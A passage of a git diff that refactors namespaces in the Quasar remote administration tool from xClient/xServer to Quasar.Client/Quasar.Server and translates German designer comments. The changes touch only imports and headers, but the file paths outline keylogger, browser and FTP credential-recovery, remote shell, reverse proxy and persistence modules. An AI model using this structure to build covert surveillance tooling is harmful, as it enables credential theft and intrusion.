b/Quasar.Client/Core/Helper/PlatformHelper.cs index 2af1418e..d0ed9a85 100644 --- a/Quasar.Client/Core/Helper/PlatformHelper.cs +++ b/Quasar.Client/Core/Helper/PlatformHelper.cs @@ -2,7 +2,7 @@ using System.Management; using System.Text.RegularExpressions; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class PlatformHelper { diff --git a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs index 4406300d..c70ebc23 100644 --- a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs +++ b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs @@ -1,12 +1,12 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Extensions; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Common.Models; +using Quasar.Common.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class RegistryKeyHelper { diff --git a/Quasar.Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Core/Helper/ScreenHelper.cs index 1234ee99..485e9649 100644 --- a/Quasar.Client/Core/Helper/ScreenHelper.cs +++ b/Quasar.Client/Core/Helper/ScreenHelper.cs @@ -2,9 +2,9 @@ using System.Drawing; using System.Drawing.Imaging; using System.Windows.Forms; -using xClient.Core.Utilities; +using Quasar.Client.Core.Utilities; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class ScreenHelper { diff --git a/Quasar.Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Core/Helper/SystemHelper.cs index a5dbf70e..4a4636a6 100644 --- a/Quasar.Client/Core/Helper/SystemHelper.cs +++ b/Quasar.Client/Core/Helper/SystemHelper.cs @@ -1,7 +1,7 @@ using System; using System.Management; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class SystemHelper { diff --git a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs index 024f3b2c..b59579e1 100644 --- a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs +++ b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs @@ -2,11 +2,11 @@ using System.Diagnostics; using System.Security.Principal; using System.Threading; +using Quasar.Client.Core.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class WindowsAccountHelper { diff --git a/Quasar.Client/Core/Installation/ClientInstaller.cs b/Quasar.Client/Core/Installation/ClientInstaller.cs index 9b95426f..7e121aa5 100644 --- a/Quasar.Client/Core/Installation/ClientInstaller.cs +++ b/Quasar.Client/Core/Installation/ClientInstaller.cs @@ -2,16 +2,15 @@ using System.Diagnostics; using System.IO; using System.Threading; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Networking; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientInstaller { - public static void Install(Client client) + public static void Install(Networking.Client client) { bool isKilled = false; diff --git a/Quasar.Client/Core/Installation/ClientUninstaller.cs b/Quasar.Client/Core/Installation/ClientUninstaller.cs index bf579815..a9c6da39 100644 --- a/Quasar.Client/Core/Installation/ClientUninstaller.cs +++ b/Quasar.Client/Core/Installation/ClientUninstaller.cs @@ -1,15 +1,14 @@ using System; using System.Diagnostics; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Helper; -using xClient.Core.Networking; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientUninstaller { - public static void Uninstall(Client client) + public static void Uninstall(Networking.Client client) { try { diff --git a/Quasar.Client/Core/Installation/ClientUpdater.cs b/Quasar.Client/Core/Installation/ClientUpdater.cs index 649e0a68..8c145ba2 100644 --- a/Quasar.Client/Core/Installation/ClientUpdater.cs +++ b/Quasar.Client/Core/Installation/ClientUpdater.cs @@ -1,17 +1,16 @@ using System; using System.Diagnostics; using System.IO; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientUpdater { - public static void Update(Client client, string newFilePath) + public static void Update(Networking.Client client, string newFilePath) { try { diff --git a/Quasar.Client/Core/Installation/Startup.cs b/Quasar.Client/Core/Installation/Startup.cs index 3987a038..b945bdaf 100644 --- a/Quasar.Client/Core/Installation/Startup.cs +++ b/Quasar.Client/Core/Installation/Startup.cs @@ -1,11 +1,11 @@ using System; using System.Diagnostics; using Microsoft.Win32; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class Startup { diff --git a/Quasar.Client/Core/Networking/Client.cs b/Quasar.Client/Core/Networking/Client.cs index 9fe30104..bf7dbe75 100644 --- a/Quasar.Client/Core/Networking/Client.cs +++ b/Quasar.Client/Core/Networking/Client.cs @@ -7,14 +7,14 @@ using System.Threading; using ProtoBuf; using ProtoBuf.Meta; +using Quasar.Client.Core.Compression; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.ReverseProxy; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xClient.Core.Compression; -using xClient.Core.Cryptography; -using xClient.Core.Extensions; -using xClient.Core.ReverseProxy; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public class Client : ISender { diff --git a/Quasar.Client/Core/Networking/PacketHandler.cs b/Quasar.Client/Core/Networking/PacketHandler.cs index c187c47b..136ee584 100644 --- a/Quasar.Client/Core/Networking/PacketHandler.cs +++ b/Quasar.Client/Core/Networking/PacketHandler.cs @@ -1,8 +1,8 @@ -using Quasar.Common.Messages; -using xClient.Core.Commands; -using xClient.Core.ReverseProxy; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.ReverseProxy; +using Quasar.Common.Messages; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public static class PacketHandler { diff --git a/Quasar.Client/Core/Networking/QuasarClient.cs b/Quasar.Client/Core/Networking/QuasarClient.cs index aeba838b..39c79093 100644 --- a/Quasar.Client/Core/Networking/QuasarClient.cs +++ b/Quasar.Client/Core/Networking/QuasarClient.cs @@ -2,14 +2,14 @@ using System.Diagnostics; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Config; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Utilities; using Quasar.Common.Messages; using Quasar.Common.Utilities; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Data; -using xClient.Core.Utilities; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public class QuasarClient : Client { diff --git a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs index 223ebe66..c359d6cf 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Chrome { diff --git a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs index 3df764cc..7c7fd83c 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs @@ -1,18 +1,18 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Text; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { /// /// A small class to recover Firefox Data diff --git a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs index aae6ef6a..216a0cfa 100644 --- a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs +++ b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs @@ -1,6 +1,4 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; @@ -9,9 +7,11 @@ using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; -using xClient.Core.Helper; +using Microsoft.Win32; +using Quasar.Client.Core.Helper; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public static class InternetExplorer { diff --git a/Quasar.Client/Core/Recovery/Browsers/Opera.cs b/Quasar.Client/Core/Recovery/Browsers/Opera.cs index ed82fc21..8ffa61ec 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Opera.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Opera.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Opera { diff --git a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs index a5116662..832ae9a2 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Yandex { diff --git a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs index e704bfad..0eb25d1a 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Core.Recovery.FtpClients { public class FileZilla { diff --git a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs index 70191057..7ce03e22 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs @@ -1,12 +1,12 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Extensions; -using xClient.Core.Helper; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Core.Recovery.FtpClients { public class WinSCP { diff --git a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs index 73a5af05..09c257af 100644 --- a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs +++ b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Security.Cryptography; using System.Text; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public class ChromiumBase { diff --git a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs index d93960a9..d4723fbd 100644 --- a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs +++ b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs @@ -2,7 +2,7 @@ using System.Runtime.Serialization.Json; using System.Text; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public static class JsonUtil { diff --git a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs index 8c03a866..0b6fe591 100644 --- a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs +++ b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs @@ -5,7 +5,7 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public class SQLiteHandler { diff --git a/Quasar.Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Core/Registry/RegistryEditor.cs index 7e67dfb9..0b1c253a 100644 --- a/Quasar.Client/Core/Registry/RegistryEditor.cs +++ b/Quasar.Client/Core/Registry/RegistryEditor.cs @@ -1,10 +1,10 @@ -using Microsoft.Win32; +using System; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; using Quasar.Common.Models; -using System; -using xClient.Core.Extensions; -using xClient.Core.Helper; -namespace xClient.Core.Registry +namespace Quasar.Client.Core.Registry { public class RegistryEditor { diff --git a/Quasar.Client/Core/Registry/RegistrySeeker.cs b/Quasar.Client/Core/Registry/RegistrySeeker.cs index 8938ae34..b6eaee81 100644 --- a/Quasar.Client/Core/Registry/RegistrySeeker.cs +++ b/Quasar.Client/Core/Registry/RegistrySeeker.cs @@ -1,11 +1,11 @@ -using Microsoft.Win32; -using System; +using System; using System.Collections.Generic; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; using Quasar.Common.Models; -using xClient.Core.Extensions; -using xClient.Core.Helper; -namespace xClient.Core.Registry +namespace Quasar.Client.Core.Registry { public class RegistrySeeker { diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs index cf999939..f5f0c461 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs @@ -2,9 +2,8 @@ using System.Net; using System.Net.Sockets; using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.ReverseProxy +namespace Quasar.Client.Core.ReverseProxy { public class ReverseProxyClient { @@ -14,11 +13,11 @@ public class ReverseProxyClient public Socket Handle { get; private set; } public string Target { get; private set; } public int Port { get; private set; } - public Client Client { get; private set; } + public Networking.Client Client { get; private set; } private byte[] _buffer; private bool _disconnectIsSend; - public ReverseProxyClient(ReverseProxyConnect command, Client client) + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) { this.ConnectionId = command.ConnectionId; this.Target = command.Target; diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs index cd3a2c43..880691c9 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs @@ -1,11 +1,10 @@ using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.ReverseProxy +namespace Quasar.Client.Core.ReverseProxy { public class ReverseProxyCommandHandler { - public static void HandleCommand(Client client, IMessage packet) + public static void HandleCommand(Networking.Client client, IMessage packet) { var type = packet.GetType(); diff --git a/Quasar.Client/Core/Utilities/HostsManager.cs b/Quasar.Client/Core/Utilities/HostsManager.cs index 0664307c..f587b2d1 100644 --- a/Quasar.Client/Core/Utilities/HostsManager.cs +++ b/Quasar.Client/Core/Utilities/HostsManager.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Net; using System.Net.Sockets; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { public class HostsManager { diff --git a/Quasar.Client/Core/Utilities/Keylogger.cs b/Quasar.Client/Core/Utilities/Keylogger.cs index 1b638f29..20152073 100644 --- a/Quasar.Client/Core/Utilities/Keylogger.cs +++ b/Quasar.Client/Core/Utilities/Keylogger.cs @@ -4,13 +4,13 @@ using System.IO; using System.Text; using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.Networking; -using Timer = System.Timers.Timer; -using xClient.Config; using Gma.System.MouseKeyHook; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Networking; +using Timer = System.Timers.Timer; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// This class provides keylogging functionality and modifies/highlights the output for diff --git a/Quasar.Client/Core/Utilities/NativeMethods.cs b/Quasar.Client/Core/Utilities/NativeMethods.cs index 81d587dc..c68a0e14 100644 --- a/Quasar.Client/Core/Utilities/NativeMethods.cs +++ b/Quasar.Client/Core/Utilities/NativeMethods.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Text; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Client/Core/Utilities/Shell.cs b/Quasar.Client/Core/Utilities/Shell.cs index 7b0dbd78..894a1647 100644 --- a/Quasar.Client/Core/Utilities/Shell.cs +++ b/Quasar.Client/Core/Utilities/Shell.cs @@ -6,7 +6,7 @@ using System.Threading; using Quasar.Common.Messages; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// This class manages a remote shell session. diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index a6ade15d..81522c82 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -3,16 +3,16 @@ using System.IO; using System.Threading; using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; +using Quasar.Client.Config; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Installation; +using Quasar.Client.Core.Networking; +using Quasar.Client.Core.Utilities; -namespace xClient +namespace Quasar.Client { internal static class Program { diff --git a/Quasar.Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs index 71d9533c..cf606db8 100644 --- a/Quasar.Client/Properties/Resources.Designer.cs +++ b/Quasar.Client/Properties/Resources.Designer.cs @@ -1,25 +1,25 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Client.Properties { using System; /// - /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. + /// A strongly-typed resource class, for looking up localized strings, etc. /// - // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert - // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. - // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen - // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -33,13 +33,13 @@ internal class Resources { } /// - /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. + /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xClient.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -47,8 +47,8 @@ internal class Resources { } /// - /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { @@ -61,7 +61,7 @@ internal class Resources { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap information { get { diff --git a/Quasar.Client/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs index 7c3ac0c6..b4ca5f2a 100644 --- a/Quasar.Client/Properties/Settings.Designer.cs +++ b/Quasar.Client/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Client.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index 4e7b6599..b9b86ff7 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -8,7 +8,7 @@ {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1} WinExe Properties - xClient + Quasar.Client Client v4.0 512 @@ -37,7 +37,7 @@ false - xClient.Program + Quasar.Client.Program app.manifest diff --git a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs index 512e57a2..eefd9c8a 100644 --- a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs @@ -1,8 +1,8 @@ using System; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Compression; +using Quasar.Server.Core.Compression; -namespace xServer.Tests.Core.Compression +namespace Quasar.Server.Tests.Core.Compression { [TestClass] public class SafeQuickLZTests diff --git a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs index 57619467..9ce9fade 100644 --- a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs +++ b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs @@ -1,9 +1,9 @@ using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Cryptography; -using xServer.Core.Helper; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Helper; -namespace xServer.Tests.Core.Encryption +namespace Quasar.Server.Tests.Core.Encryption { [TestClass] public class AESTests diff --git a/Quasar.Server.Tests/Quasar.Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj index 6a039914..620cac31 100644 --- a/Quasar.Server.Tests/Quasar.Server.Tests.csproj +++ b/Quasar.Server.Tests/Quasar.Server.Tests.csproj @@ -6,7 +6,7 @@ {BF45108E-1E43-486B-A71D-5426BBB041DB} Library Properties - xServer.Tests + Quasar.Server.Tests Server.Tests v4.0 512 diff --git a/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs index 19e713ed..21a33f89 100644 --- a/Quasar.Server/Controls/DotNetBarTabControl.cs +++ b/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -5,7 +5,7 @@ // thanks to Mavamaarten~ for coding this -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class DotNetBarTabControl : TabControl { diff --git a/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs index a2e145d0..42e8249a 100644 --- a/Quasar.Server/Controls/HexEditor/ByteCollection.cs +++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -1,9 +1,7 @@ using System; using System.Collections.Generic; -using System.Linq; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class ByteCollection { diff --git a/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs index 38fa26b7..ac83acd4 100644 --- a/Quasar.Server/Controls/HexEditor/Caret.cs +++ b/Quasar.Server/Controls/HexEditor/Caret.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; using System.Runtime.InteropServices; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class Caret { diff --git a/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs index fd222900..586b9fc6 100644 --- a/Quasar.Server/Controls/HexEditor/EditView.cs +++ b/Quasar.Server/Controls/HexEditor/EditView.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class EditView : IKeyMouseEventHandler { diff --git a/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs index 882ba930..fba34926 100644 --- a/Quasar.Server/Controls/HexEditor/HexEditor.cs +++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -1,12 +1,9 @@ using System; -using System.Collections.Generic; using System.ComponentModel; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { /* * Derived and Adapted from Bernhard Elbl diff --git a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs index 3dcd0641..cc57191f 100644 --- a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class HexViewHandler { diff --git a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs index eb01dba9..7121208a 100644 --- a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs +++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -1,10 +1,7 @@ using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public interface IKeyMouseEventHandler { diff --git a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs index 4d1821e0..125e133e 100644 --- a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class 